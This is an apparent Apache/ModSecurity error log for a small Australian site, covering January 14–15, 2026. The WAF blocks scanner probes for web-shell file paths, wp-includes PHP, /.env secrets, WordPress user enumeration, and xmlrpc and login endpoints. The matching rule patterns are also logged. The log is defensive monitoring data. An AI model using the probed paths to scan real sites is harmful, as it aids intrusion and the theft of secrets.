[Wed Jan 14 05:07:51.051774 2026] [:error] [pid 58899:tid 58904] [client 4.230.47.124:7132] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ability-tw.com/wp-settings.php"] [unique_id "aWa0JwWViGQd5R44tHFyVAAAAYE"]
[Wed Jan 14 05:07:51.321675 2026] [:error] [pid 24601:tid 24634] [client 4.230.47.124:7044] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/index.php"] [unique_id "aWa0J0CtWkZ9rlKW5n-B1wAAABg"]
[Wed Jan 14 05:07:51.598499 2026] [:error] [pid 24603:tid 24670] [client 4.230.47.124:7033] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/index.php"] [unique_id "aWa0J5PBJGFGN8VT8_ShuwAAAIU"]
[Wed Jan 14 05:07:51.871456 2026] [:error] [pid 24603:tid 24674] [client 4.230.47.124:6992] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/index.php"] [unique_id "aWa0J5PBJGFGN8VT8_ShvQAAAIk"]
[Wed Jan 14 05:07:52.145480 2026] [:error] [pid 24601:tid 24613] [client 4.230.47.124:7047] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/index.php"] [unique_id "aWa0KECtWkZ9rlKW5n-B2QAAAAM"]
[Wed Jan 14 05:07:52.419447 2026] [:error] [pid 59074:tid 59084] [client 4.230.47.124:6921] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/content/tracking.php"] [unique_id "aWa0KE_KrJ818pzhB3xkVgAAAkg"]
[Wed Jan 14 05:07:52.712245 2026] [:error] [pid 59074:tid 59076] [client 4.230.47.124:7098] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/content/tracking.php"] [unique_id "aWa0KE_KrJ818pzhB3xkVwAAAkA"]
[Wed Jan 14 05:07:52.989698 2026] [:error] [pid 58977:tid 59002] [client 4.230.47.124:7162] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/content/tracking.php"] [unique_id "aWa0KLlT6ggZLRx9QvAATQAAAhY"]
[Wed Jan 14 05:07:53.275146 2026] [:error] [pid 24710:tid 24712] [client 4.230.47.124:7015] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/content/tracking.php"] [unique_id "aWa0KWXBo5bEhDEEhs1f5wAAAMA"]
[Wed Jan 14 05:07:53.569318 2026] [:error] [pid 58901:tid 58930] [client 4.230.47.124:6978] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/assist.php"] [unique_id "aWa0Kb3kQSrcqIWtO0okQQAAAcA"]
[Wed Jan 14 05:07:53.886239 2026] [:error] [pid 58977:tid 58994] [client 4.230.47.124:7083] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/assist.php"] [unique_id "aWa0KblT6ggZLRx9QvAATgAAAg4"]
[Wed Jan 14 05:07:54.155200 2026] [:error] [pid 24601:tid 24631] [client 4.230.47.124:7027] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/assist.php"] [unique_id "aWa0KkCtWkZ9rlKW5n-B2gAAABU"]
[Wed Jan 14 05:07:54.463427 2026] [:error] [pid 58977:tid 58990] [client 4.230.47.124:7005] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/assist.php"] [unique_id "aWa0KrlT6ggZLRx9QvAATwAAAgo"]
[Wed Jan 14 05:07:54.752937 2026] [:error] [pid 24603:tid 24666] [client 4.230.47.124:6996] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/basic.php"] [unique_id "aWa0KpPBJGFGN8VT8_ShwgAAAIE"]
[Wed Jan 14 05:07:55.038550 2026] [:error] [pid 24710:tid 24714] [client 4.230.47.124:6983] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/basic.php"] [unique_id "aWa0K2XBo5bEhDEEhs1f6AAAAMI"]
[Wed Jan 14 05:07:55.336978 2026] [:error] [pid 58901:tid 58934] [client 4.230.47.124:7008] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/basic.php"] [unique_id "aWa0K73kQSrcqIWtO0okQgAAAcQ"]
[Wed Jan 14 05:07:55.638358 2026] [:error] [pid 24710:tid 24725] [client 4.230.47.124:7021] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/basic.php"] [unique_id "aWa0K2XBo5bEhDEEhs1f6gAAAM0"]
[Wed Jan 14 05:07:55.927189 2026] [:error] [pid 24710:tid 24733] [client 4.230.47.124:6933] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/full.php"] [unique_id "aWa0K2XBo5bEhDEEhs1f6wAAANU"]
[Wed Jan 14 05:07:56.211330 2026] [:error] [pid 24710:tid 24721] [client 4.230.47.124:7144] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/full.php"] [unique_id "aWa0LGXBo5bEhDEEhs1f7AAAAMk"]
[Wed Jan 14 05:07:56.544416 2026] [:error] [pid 24710:tid 24735] [client 4.230.47.124:6986] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/full.php"] [unique_id "aWa0LGXBo5bEhDEEhs1f7QAAANc"]
[Wed Jan 14 05:07:56.817541 2026] [:error] [pid 24602:tid 24657] [client 4.230.47.124:7070] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/full.php"] [unique_id "aWa0LEooYwabcb9R9fw3RwAAAFM"]
[Wed Jan 14 05:07:57.091907 2026] [:error] [pid 24710:tid 24720] [client 4.230.47.124:6862] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/extensions.php"] [unique_id "aWa0LWXBo5bEhDEEhs1f7gAAAMg"]
[Wed Jan 14 05:07:57.385932 2026] [:error] [pid 24710:tid 24722] [client 4.230.47.124:7860] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/extensions.php"] [unique_id "aWa0LWXBo5bEhDEEhs1f8AAAAMo"]
[Wed Jan 14 05:07:57.708838 2026] [:error] [pid 58699:tid 58714] [client 4.230.47.124:7087] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/extensions.php"] [unique_id "aWa0LeYdPBtkMLK2SdqozgAAAQw"]
[Wed Jan 14 05:07:58.038897 2026] [:error] [pid 58699:tid 58713] [client 4.230.47.124:7082] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/app/core/extensions.php"] [unique_id "aWa0LuYdPBtkMLK2SdqozwAAAQs"]
[Wed Jan 14 05:07:58.332332 2026] [:error] [pid 24710:tid 24731] [client 4.230.47.124:7052] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/corrected.php"] [unique_id "aWa0LmXBo5bEhDEEhs1f8gAAANM"]
[Wed Jan 14 05:07:58.675517 2026] [:error] [pid 24710:tid 24729] [client 4.230.47.124:7014] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/corrected.php"] [unique_id "aWa0LmXBo5bEhDEEhs1f8wAAANE"]
[Wed Jan 14 05:07:59.035295 2026] [:error] [pid 58699:tid 58718] [client 4.230.47.124:6945] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/corrected.php"] [unique_id "aWa0L-YdPBtkMLK2Sdqo0AAAARA"]
[Wed Jan 14 05:07:59.311319 2026] [:error] [pid 58699:tid 58722] [client 4.230.47.124:7086] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w/corrected.php"] [unique_id "aWa0L-YdPBtkMLK2Sdqo0QAAARQ"]
[Wed Jan 14 07:09:15.286504 2026] [proxy_fcgi:error] [pid 24601:tid 24620] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Jan 14 07:09:15.411020 2026] [proxy_fcgi:error] [pid 24601:tid 24631] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:15.537147 2026] [proxy_fcgi:error] [pid 24601:tid 24611] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:15.662946 2026] [proxy_fcgi:error] [pid 24601:tid 24618] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 07:09:15.787905 2026] [proxy_fcgi:error] [pid 24601:tid 24614] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Jan 14 07:09:15.912087 2026] [proxy_fcgi:error] [pid 24601:tid 24632] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Jan 14 07:09:16.035914 2026] [proxy_fcgi:error] [pid 24601:tid 24626] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Jan 14 07:09:16.160290 2026] [proxy_fcgi:error] [pid 24601:tid 24634] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 07:09:16.290651 2026] [proxy_fcgi:error] [pid 24601:tid 24622] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Jan 14 07:09:16.414630 2026] [proxy_fcgi:error] [pid 24601:tid 24627] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Jan 14 07:09:16.538855 2026] [proxy_fcgi:error] [pid 24601:tid 24621] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:16.663436 2026] [proxy_fcgi:error] [pid 24601:tid 24610] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Jan 14 07:09:16.787162 2026] [proxy_fcgi:error] [pid 24601:tid 24619] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:16.911705 2026] [proxy_fcgi:error] [pid 24601:tid 24616] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:17.035524 2026] [proxy_fcgi:error] [pid 24601:tid 24612] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 07:09:17.158892 2026] [proxy_fcgi:error] [pid 24601:tid 24617] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Jan 14 07:09:17.282252 2026] [proxy_fcgi:error] [pid 24601:tid 24628] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 07:09:17.406102 2026] [proxy_fcgi:error] [pid 24601:tid 24633] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Jan 14 07:09:17.529151 2026] [proxy_fcgi:error] [pid 24601:tid 24623] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 07:09:17.778229 2026] [proxy_fcgi:error] [pid 24601:tid 24629] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Jan 14 07:09:17.902702 2026] [proxy_fcgi:error] [pid 24601:tid 24630] [client 4.190.190.129:37996] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Jan 14 07:09:21.259537 2026] [:error] [pid 24601:tid 24616] [client 4.190.190.129:37996] [client 4.190.190.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWbQoUCtWkZ9rlKW5n-PZAAAAAY"], referer: https://www.google.com/
[Wed Jan 14 07:09:21.621229 2026] [:error] [pid 24603:tid 24667] [client 4.190.190.129:13175] [client 4.190.190.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWbQoZPBJGFGN8VT8_S6YwAAAII"], referer: https://www.bing.com/
[Wed Jan 14 07:12:44.965864 2026] [:error] [pid 58977:tid 58992] [client 64.225.8.2:65021] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWbRbLlT6ggZLRx9QvAShAAAAgw"]
[Wed Jan 14 21:20:50.228946 2026] [:error] [pid 21490:tid 21510] [client 35.199.156.100:50644] [client 35.199.156.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.199.156.100, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWeYMu26AHzy1muKyudUIAAAARE"]
[Wed Jan 14 21:20:50.241910 2026] [proxy_fcgi:error] [pid 21490:tid 21510] [client 35.199.156.100:50644] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 21:20:52.246360 2026] [:error] [pid 21490:tid 21517] [client 35.199.156.100:50644] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNO26AHzy1muKyudULQAAARg"]
[Wed Jan 14 21:20:52.597874 2026] [:error] [pid 61468:tid 61494] [client 35.199.156.100:52209] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNNfEBBL2jp9TJvLH7QAAAJc"]
[Wed Jan 14 21:20:52.950845 2026] [:error] [pid 61468:tid 61495] [client 35.199.156.100:52398] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNNfEBBL2jp9TJvLH7gAAAJg"]
[Wed Jan 14 21:20:53.302629 2026] [:error] [pid 61378:tid 61444] [client 35.199.156.100:52600] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNRGjJjuJmoPOtlpHTwAAAAc"]
[Wed Jan 14 21:20:53.661669 2026] [:error] [pid 7961:tid 7966] [client 35.199.156.100:52836] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNZjhjzEJ3QX9HuYLCgAAAEM"]
[Wed Jan 14 21:20:54.014513 2026] [:error] [pid 61377:tid 61429] [client 35.199.156.100:53065] [client 35.199.156.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWeYNsx0Xs4tcq6R-Wh_UAAAAdM"]
[Wed Jan 14 23:21:38.773516 2026] [:error] [pid 61378:tid 61450] [client 183.171.101.204:14510] [client 183.171.101.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.171.101.204, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWe0ghGjJjuJmoPOtlpZAgAAAA0"]
[Wed Jan 14 23:21:38.784646 2026] [proxy_fcgi:error] [pid 61378:tid 61450] [client 183.171.101.204:14510] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 09:36:38.226453 2026] [:error] [pid 5290:tid 5323] [client 185.147.212.102:33972] [client 185.147.212.102] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aWhEpjiQRfcmyoePXPf48QAAABg"], referer: https://www.google.com
[Thu Jan 15 09:36:41.363116 2026] [:error] [pid 5389:tid 5414] [client 185.147.212.102:33996] [client 185.147.212.102] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWhEqUkzfklDSWCNrVKdfgAAANc"]
[Thu Jan 15 09:36:41.363494 2026] [:error] [pid 5389:tid 5414] [client 185.147.212.102:33996] [client 185.147.212.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.147.212.102, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWhEqUkzfklDSWCNrVKdfgAAANc"]
[Thu Jan 15 09:36:41.376811 2026] [proxy_fcgi:error] [pid 5389:tid 5414] [client 185.147.212.102:33996] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 09:36:42.950256 2026] [:error] [pid 51807:tid 51824] [client 185.147.212.102:34012] [client 185.147.212.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.147.212.102, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWhEqsMrH4_ge4gLwN1c0wAAAQ8"], referer: https://www.google.com
[Thu Jan 15 09:36:42.954758 2026] [proxy_fcgi:error] [pid 51807:tid 51824] [client 185.147.212.102:34012] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Jan 15 09:36:44.542677 2026] [:error] [pid 5291:tid 5351] [client 185.147.212.102:34018] [client 185.147.212.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.147.212.102, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWhErDp5twZ54fay3RfWcQAAAFg"], referer: https://www.google.com
[Thu Jan 15 09:36:44.547598 2026] [proxy_fcgi:error] [pid 5291:tid 5351] [client 185.147.212.102:34018] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Jan 15 20:35:14.099913 2026] [proxy_fcgi:error] [pid 5292:tid 5357] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:14.312688 2026] [proxy_fcgi:error] [pid 5292:tid 5369] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:14.515970 2026] [proxy_fcgi:error] [pid 5292:tid 5378] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:15.458201 2026] [proxy_fcgi:error] [pid 5292:tid 5377] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
